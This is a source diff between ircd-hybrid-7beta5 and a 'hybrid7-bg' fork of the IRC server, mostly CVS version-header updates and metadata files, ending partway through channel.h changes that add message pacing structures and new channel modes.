-# $Id: send-pr.in,v 1.1 2000/12/21 00:16:28 ejb Exp $
+# $Id: send-pr.in,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
 
 # The version of this send-pr.
 VERSION=3.113
diff -uNrd ircd-hybrid-7beta5/iauth/CVS/Entries hybrid7-bg/iauth/CVS/Entries
--- ircd-hybrid-7beta5/iauth/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/CVS/Entries	Wed Jul 24 18:31:59 2002
@@ -0,0 +1,3 @@
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:43 2001//
+D/include////
+D/source////
diff -uNrd ircd-hybrid-7beta5/iauth/CVS/Repository hybrid7-bg/iauth/CVS/Repository
--- ircd-hybrid-7beta5/iauth/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/CVS/Repository	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+hybrid7-bg/iauth
diff -uNrd ircd-hybrid-7beta5/iauth/CVS/Root hybrid7-bg/iauth/CVS/Root
--- ircd-hybrid-7beta5/iauth/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/CVS/Root	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/iauth/Makefile.in hybrid7-bg/iauth/Makefile.in
--- ircd-hybrid-7beta5/iauth/Makefile.in	Sun Dec 17 21:01:34 2000
+++ hybrid7-bg/iauth/Makefile.in	Tue Jun  5 12:35:43 2001
@@ -1,5 +1,5 @@
 # IAuth Makefile (C) Patrick Alken 1999
-# $Id: Makefile.in,v 7.6 2000/12/18 02:01:34 cosine Exp $
+# $Id: Makefile.in,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
 
 CC = @CC@
 CFLAGS = @CFLAGS@
diff -uNrd ircd-hybrid-7beta5/iauth/include/CVS/Entries hybrid7-bg/iauth/include/CVS/Entries
--- ircd-hybrid-7beta5/iauth/include/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/include/CVS/Entries	Wed Jul 24 18:31:58 2002
@@ -0,0 +1,13 @@
+/auth.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/class.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/commands.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/conf.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/iauth.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/log.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/match.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/misc.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/mtree.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/res.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/setup.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/sock.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+D
diff -uNrd ircd-hybrid-7beta5/iauth/include/CVS/Repository hybrid7-bg/iauth/include/CVS/Repository
--- ircd-hybrid-7beta5/iauth/include/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/include/CVS/Repository	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+hybrid7-bg/iauth/include
diff -uNrd ircd-hybrid-7beta5/iauth/include/CVS/Root hybrid7-bg/iauth/include/CVS/Root
--- ircd-hybrid-7beta5/iauth/include/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/include/CVS/Root	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/iauth/include/auth.h hybrid7-bg/iauth/include/auth.h
--- ircd-hybrid-7beta5/iauth/include/auth.h	Tue Jan  4 19:20:01 2000
+++ hybrid7-bg/iauth/include/auth.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: auth.h,v 7.5 2000/01/05 00:20:01 wnder Exp $
+ *   $Id: auth.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_auth_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/class.h hybrid7-bg/iauth/include/class.h
--- ircd-hybrid-7beta5/iauth/include/class.h	Tue Jan  4 19:20:02 2000
+++ hybrid7-bg/iauth/include/class.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: class.h,v 7.2 2000/01/05 00:20:02 wnder Exp $
+ *   $Id: class.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_class_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/commands.h hybrid7-bg/iauth/include/commands.h
--- ircd-hybrid-7beta5/iauth/include/commands.h	Tue Jan  4 19:20:02 2000
+++ hybrid7-bg/iauth/include/commands.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: commands.h,v 7.2 2000/01/05 00:20:02 wnder Exp $
+ *   $Id: commands.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_commands_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/conf.h hybrid7-bg/iauth/include/conf.h
--- ircd-hybrid-7beta5/iauth/include/conf.h	Tue Jan  4 19:20:02 2000
+++ hybrid7-bg/iauth/include/conf.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: conf.h,v 7.4 2000/01/05 00:20:02 wnder Exp $
+ *   $Id: conf.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_conf_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/iauth.h hybrid7-bg/iauth/include/iauth.h
--- ircd-hybrid-7beta5/iauth/include/iauth.h	Sun Dec 17 21:01:39 2000
+++ hybrid7-bg/iauth/include/iauth.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: iauth.h,v 7.5 2000/12/18 02:01:39 cosine Exp $
+ *   $Id: iauth.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_iauth_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/log.h hybrid7-bg/iauth/include/log.h
--- ircd-hybrid-7beta5/iauth/include/log.h	Sun Dec 17 21:01:39 2000
+++ hybrid7-bg/iauth/include/log.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: log.h,v 7.1 2000/12/18 02:01:39 cosine Exp $
+ *   $Id: log.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_log_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/match.h hybrid7-bg/iauth/include/match.h
--- ircd-hybrid-7beta5/iauth/include/match.h	Sun Dec 17 21:01:39 2000
+++ hybrid7-bg/iauth/include/match.h	Tue Jun  5 12:35:43 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: match.h,v 7.1 2000/12/18 02:01:39 cosine Exp $
+ *   $Id: match.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_match_h
 #define INCLUDED_match_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/misc.h hybrid7-bg/iauth/include/misc.h
--- ircd-hybrid-7beta5/iauth/include/misc.h	Mon Sep 13 15:16:09 1999
+++ hybrid7-bg/iauth/include/misc.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: misc.h,v 7.3 1999/09/13 19:16:09 wnder Exp $
+ *   $Id: misc.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_misc_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/mtree.h hybrid7-bg/iauth/include/mtree.h
--- ircd-hybrid-7beta5/iauth/include/mtree.h	Sun Jan  9 00:59:10 2000
+++ hybrid7-bg/iauth/include/mtree.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: mtree.h,v 7.5 2000/01/09 05:59:10 wnder Exp $
+ *   $Id: mtree.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_mtree_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/res.h hybrid7-bg/iauth/include/res.h
--- ircd-hybrid-7beta5/iauth/include/res.h	Fri Sep 10 14:14:30 1999
+++ hybrid7-bg/iauth/include/res.h	Tue Jun  5 12:35:43 2001
@@ -1,7 +1,7 @@
 /*
  * iauth/res.h (C)opyright 1992 Darren Reed.
  *
- * $Id: res.h,v 7.2 1999/09/10 18:14:30 wnder Exp $
+ * $Id: res.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_res_h
diff -uNrd ircd-hybrid-7beta5/iauth/include/sock.h hybrid7-bg/iauth/include/sock.h
--- ircd-hybrid-7beta5/iauth/include/sock.h	Tue Jan  4 19:20:03 2000
+++ hybrid7-bg/iauth/include/sock.h	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: sock.h,v 7.4 2000/01/05 00:20:03 wnder Exp $
+ *   $Id: sock.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #ifndef INCLUDED_sock_h
diff -uNrd ircd-hybrid-7beta5/iauth/source/CVS/Entries hybrid7-bg/iauth/source/CVS/Entries
--- ircd-hybrid-7beta5/iauth/source/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/source/CVS/Entries	Wed Jul 24 18:31:59 2002
@@ -0,0 +1,14 @@
+/.depend/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/auth.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/class.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/commands.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/conf.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/iauth.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/log.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/match.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/misc.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/mtree.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/res.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/sock.c/1.1.1.1/Tue Jun  5 16:35:43 2001//
+D
diff -uNrd ircd-hybrid-7beta5/iauth/source/CVS/Repository hybrid7-bg/iauth/source/CVS/Repository
--- ircd-hybrid-7beta5/iauth/source/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/source/CVS/Repository	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+hybrid7-bg/iauth/source
diff -uNrd ircd-hybrid-7beta5/iauth/source/CVS/Root hybrid7-bg/iauth/source/CVS/Root
--- ircd-hybrid-7beta5/iauth/source/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/iauth/source/CVS/Root	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/iauth/source/Makefile.in hybrid7-bg/iauth/source/Makefile.in
--- ircd-hybrid-7beta5/iauth/source/Makefile.in	Sat Mar 31 13:12:30 2001
+++ hybrid7-bg/iauth/source/Makefile.in	Tue Jun  5 12:35:43 2001
@@ -1,7 +1,7 @@
 #
 # Makefile.in for ircd/iauth
 #
-# $Id: Makefile.in,v 7.8 2001/03/31 18:12:30 ejb Exp $
+# $Id: Makefile.in,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
 #
 CC = @CC@
 RM = @RM@
diff -uNrd ircd-hybrid-7beta5/iauth/source/auth.c hybrid7-bg/iauth/source/auth.c
--- ircd-hybrid-7beta5/iauth/source/auth.c	Sat Jan  8 16:38:48 2000
+++ hybrid7-bg/iauth/source/auth.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *  along with this program; if not, write to the Free Software
  *  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: auth.c,v 7.7 2000/01/08 21:38:48 wnder Exp $
+ *  $Id: auth.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/iauth/source/class.c hybrid7-bg/iauth/source/class.c
--- ircd-hybrid-7beta5/iauth/source/class.c	Tue Jan  4 19:20:06 2000
+++ hybrid7-bg/iauth/source/class.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: class.c,v 7.2 2000/01/05 00:20:06 wnder Exp $
+ *   $Id: class.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/iauth/source/commands.c hybrid7-bg/iauth/source/commands.c
--- ircd-hybrid-7beta5/iauth/source/commands.c	Tue Jan  4 19:20:06 2000
+++ hybrid7-bg/iauth/source/commands.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: commands.c,v 7.3 2000/01/05 00:20:06 wnder Exp $
+ *   $Id: commands.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/iauth/source/conf.c hybrid7-bg/iauth/source/conf.c
--- ircd-hybrid-7beta5/iauth/source/conf.c	Sat Jan  8 16:38:49 2000
+++ hybrid7-bg/iauth/source/conf.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: conf.c,v 7.6 2000/01/08 21:38:49 wnder Exp $
+ *   $Id: conf.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/iauth/source/iauth.c hybrid7-bg/iauth/source/iauth.c
--- ircd-hybrid-7beta5/iauth/source/iauth.c	Tue Jan  4 19:20:07 2000
+++ hybrid7-bg/iauth/source/iauth.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: iauth.c,v 7.4 2000/01/05 00:20:07 wnder Exp $
+ *   $Id: iauth.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/iauth/source/log.c hybrid7-bg/iauth/source/log.c
--- ircd-hybrid-7beta5/iauth/source/log.c	Sun Dec 17 21:01:40 2000
+++ hybrid7-bg/iauth/source/log.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: log.c,v 1.1 2000/12/18 02:01:40 cosine Exp $
+ *   $Id: log.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/iauth/source/match.c hybrid7-bg/iauth/source/match.c
--- ircd-hybrid-7beta5/iauth/source/match.c	Sun Dec 17 21:01:40 2000
+++ hybrid7-bg/iauth/source/match.c	Tue Jun  5 12:35:43 2001
@@ -22,7 +22,7 @@
  * Cleanup of collapse and match
  * Moved static calls variable to match
  * Added asserts for null pointers
- * $Id: match.c,v 1.1 2000/12/18 02:01:40 cosine Exp $
+ * $Id: match.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  *
  */
 
diff -uNrd ircd-hybrid-7beta5/iauth/source/misc.c hybrid7-bg/iauth/source/misc.c
--- ircd-hybrid-7beta5/iauth/source/misc.c	Tue Jan  4 19:20:07 2000
+++ hybrid7-bg/iauth/source/misc.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: misc.c,v 7.4 2000/01/05 00:20:07 wnder Exp $
+ *   $Id: misc.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/iauth/source/mtree.c hybrid7-bg/iauth/source/mtree.c
--- ircd-hybrid-7beta5/iauth/source/mtree.c	Sun Jan  9 14:49:49 2000
+++ hybrid7-bg/iauth/source/mtree.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: mtree.c,v 7.7 2000/01/09 19:49:49 wnder Exp $
+ *   $Id: mtree.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 /*
diff -uNrd ircd-hybrid-7beta5/iauth/source/res.c hybrid7-bg/iauth/source/res.c
--- ircd-hybrid-7beta5/iauth/source/res.c	Tue Jan  9 20:00:22 2001
+++ hybrid7-bg/iauth/source/res.c	Tue Jun  5 12:35:43 2001
@@ -4,7 +4,7 @@
  * shape or form. The author takes no responsibility for any damage or loss
  * of property which results from the use of this software.
  *
- * $Id: res.c,v 7.4 2001/01/10 01:00:22 toot Exp $
+ * $Id: res.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  *
  * July 1999 - Rewrote a bunch of stuff here. Change hostent builder code,
  *     added callbacks and reference counting of returned hostents.
diff -uNrd ircd-hybrid-7beta5/iauth/source/sock.c hybrid7-bg/iauth/source/sock.c
--- ircd-hybrid-7beta5/iauth/source/sock.c	Sat Jan  8 16:38:51 2000
+++ hybrid7-bg/iauth/source/sock.c	Tue Jun  5 12:35:43 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: sock.c,v 7.7 2000/01/08 21:38:51 wnder Exp $
+ *   $Id: sock.c,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/include/CVS/Entries hybrid7-bg/include/CVS/Entries
--- ircd-hybrid-7beta5/include/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/include/CVS/Entries	Wed Sep 18 19:19:45 2002
@@ -0,0 +1,63 @@
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/channel.h/1.12/Fri Jul 19 04:21:47 2002//
+/class.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/client.h/1.13/Wed Jul 24 13:13:18 2002//
+/common.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/config.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/config.h.dist/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/debug.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/dline_conf.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/event.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/fdlist.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/fileio.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/handlers.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/hash.h/1.3/Sun Nov  4 21:07:08 2001//
+/hook.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/hostmask.h/1.2/Mon Jul  2 04:10:33 2001//
+/irc_string.h/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/ircd.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd_defs.h/1.5/Fri Jul 19 04:21:48 2002//
+/ircd_getopt.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd_handler.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd_signal.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircdauth.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/linebuf.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/list.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/listener.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_info.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_kline.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/md5.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/memory.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/modules.h/1.5/Wed Jul 24 13:08:17 2002//
+/motd.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/numeric.h/1.14/Wed Jul 24 13:08:17 2002//
+/packet.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/parse.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/patchlevel.h/1.2/Sun Jun 17 01:24:16 2001//
+/patricia.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/res.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/restart.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/rsa.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/s_auth.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/s_bsd.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/s_conf.h/1.16/Fri Jul 19 04:21:48 2002//
+/s_debug.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/s_gline.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/s_log.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/s_misc.h/1.6/Mon Jul 22 23:56:37 2002//
+/s_serv.h/1.8/Mon Jul 22 23:56:38 2002//
+/s_stats.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/s_user.h/1.3/Sun Jun  9 06:06:03 2002//
+/s_zip.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/scache.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/send.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/setup.h.in/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/setup.h_vms/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/sprintf_irc.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/supported.h/1.8/Wed Jul 24 13:08:17 2002//
+/tools.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/vchannel.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/whowas.h/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/msg.h/1.2/Wed Sep 18 23:19:45 2002//
+/serno.h/1.30/Wed Sep 18 23:19:45 2002//
+D
diff -uNrd ircd-hybrid-7beta5/include/CVS/Repository hybrid7-bg/include/CVS/Repository
--- ircd-hybrid-7beta5/include/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/include/CVS/Repository	Wed Jul 24 18:31:59 2002
@@ -0,0 +1 @@
+hybrid7-bg/include
diff -uNrd ircd-hybrid-7beta5/include/CVS/Root hybrid7-bg/include/CVS/Root
--- ircd-hybrid-7beta5/include/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/include/CVS/Root	Wed Jul 24 18:31:59 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/include/channel.h hybrid7-bg/include/channel.h
--- ircd-hybrid-7beta5/include/channel.h	Mon May 14 06:08:54 2001
+++ hybrid7-bg/include/channel.h	Fri Jul 19 00:21:47 2002
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: channel.h,v 7.69 2001/05/14 10:08:54 toot Exp $
+ * $Id: channel.h,v 1.12 2002/07/19 04:21:47 Administrator Exp $
  */
 
 #include <sys/types.h>        /* time_t */
@@ -43,6 +43,23 @@
   char  key[KEYLEN + 1];
 };
 
+/* used for pacing JOINs, PARTs and PRIVMSGs/NOTICEs to channel
+ *                                                     -demond
+ */
+struct Pace
+{
+  struct Pace *next;
+  int shownames;            /* if nonzero, show names to client on JOIN */
+                            /* buffer len on NICK/QUIT notification */
+  char *text;               /* message text on chanmsg */
+                            /* send buffer on NICK/QUIT notification */
+
+  char nick[NICKLEN+1];     /* nick-originator on JOIN/PART or "command" */
+  char user[HOSTLEN+1];     /* username on JOIN/PART or "butone" on chanmsg */
+  char host[HOSTLEN+1];     /* host on JOIN/PART or originator on chanmsg */
+  char chan[1];
+};
+
 /* channel structure */
 
 struct Channel
@@ -73,6 +90,16 @@
   dlink_list      exceptlist;
   dlink_list      invexlist;
 
+  dlink_list	substlist;
+
+  struct Pace     *joinh, *joint;       /* pace JOIN list head, tail */
+  struct Pace     *parth, *partt;       /* pace PART list head, tail */
+  int             joins, parts;         /* pace counters */
+
+  struct Pace     *msgh, *msgt;         /* pace chanmsg list head, tail */
+  struct Pace     *sendh, *sendt;       /* pace NICK/QUIT list head, tail */
+  int             msgs, sends;          /* pace counters */
+
   time_t          first_received_message_time; /* channel flood control */
   int             received_number_of_privmsgs;
   int             flood_noticed;
@@ -85,6 +112,7 @@
 extern  struct  Channel *GlobalChannelList;
 
 void cleanup_channels(void *);
+void pace_channels(void *);
 
 #define CREATE 1        /* whether a channel should be
                            created or just tested for existence */
@@ -96,7 +124,7 @@
 #define ChannelExists(n)        (hash_find_channel(n, NullChn) != NullChn)
 
 /* Maximum mode changes allowed per client, per server is different */
-#define MAXMODEPARAMS   4
+#define MAXMODEPARAMS   6
 
 extern dlink_node *find_user_link (dlink_list *, struct Client *);
 extern void    add_user_to_channel(struct Channel *chptr,
@@ -152,6 +180,11 @@
 				    struct Channel *chptr,
 				    struct Client *source_p);
 
+extern void add_pace(struct Channel *, struct Client *, char *, int, int);
+extern void add_pace_msg(struct Channel *, struct Client *, struct Client *, char *, char *);
+extern void add_pace_send(struct Channel *, char *, int);
+extern void sendto_chanlists_local(struct Channel *, char *, int);
+
 /*
 ** Channel Related macros follow
 */
@@ -161,27 +194,32 @@
 #define CAN_SEND_NONOP  1
 #define CAN_SEND_OPV	2
 
+#define CAN_SEND_NOTREG 3      /* nonreg nicks cannot send to +M chans */
 
 /* Channel related flags */
 
-#define CHFL_PEON	0x0000 /* normal member of channel */
+#define CHFL_PEON		0x0000 /* normal member of channel */
 #define CHFL_CHANOP     0x0001 /* Channel operator */
 #define CHFL_VOICE      0x0002 /* the power to speak */
 #define CHFL_DEOPPED    0x0004 /* deopped by us, modes need to be bounced */
 #define CHFL_HALFOP     0x0008 /* Channel half op */
 #define CHFL_BAN        0x0010 /* ban channel flag */
 #define CHFL_EXCEPTION  0x0020 /* exception to ban channel flag */
+#define CHFL_SUBST		0x0040
 #define CHFL_INVEX      0x0080
 
 /* Channel Visibility macros */
 
-#define MODE_PEON	CHFL_PEON
+#define MODE_PEON		CHFL_PEON
 #define MODE_CHANOP     CHFL_CHANOP
 #define MODE_VOICE      CHFL_VOICE
-#define MODE_HALFOP	CHFL_HALFOP
+#define MODE_HALFOP		CHFL_HALFOP
 #define MODE_DEOPPED	CHFL_DEOPPED
 
 /* channel modes ONLY */
+#define MODE_REGCHAN    0x0001  /* channel is registered with services */
+#define MODE_REGNICKS   0x0002  /* only registered nicknames can join  */ 
+
 #define MODE_PRIVATE    0x0008
 #define MODE_SECRET     0x0010
 #define MODE_MODERATED  0x0020
@@ -191,10 +229,18 @@
 #define MODE_KEY        0x0200
 #define MODE_BAN        0x0400
 #define MODE_EXCEPTION  0x0800
-#define MODE_INVEX	0x2000
+
+#define MODE_NOCOLOR    0x1000  /* strip mIRC & ANSI color */
+#define MODE_INVEX		0x2000
 #define MODE_HIDEOPS    0x4000
 #define MODE_LIMIT      0x8000  /* was 0x8000 */
 
+#define MODE_REGSPEAK  0x10000  /* only registered nicknames may speak */
+#define MODE_PACE      0x20000  /* pacing JOIN, PART, PRIVMSG and QUIT */
+
+#define MODE_CYRNICKS  0x40000  /* cyrillic nicks are NOT allowed to join */ 
+#define MODE_NOREPEAT  0x80000
+
 /*
  * mode flags which take another parameter (With PARAmeterS)
  */
@@ -221,6 +267,20 @@
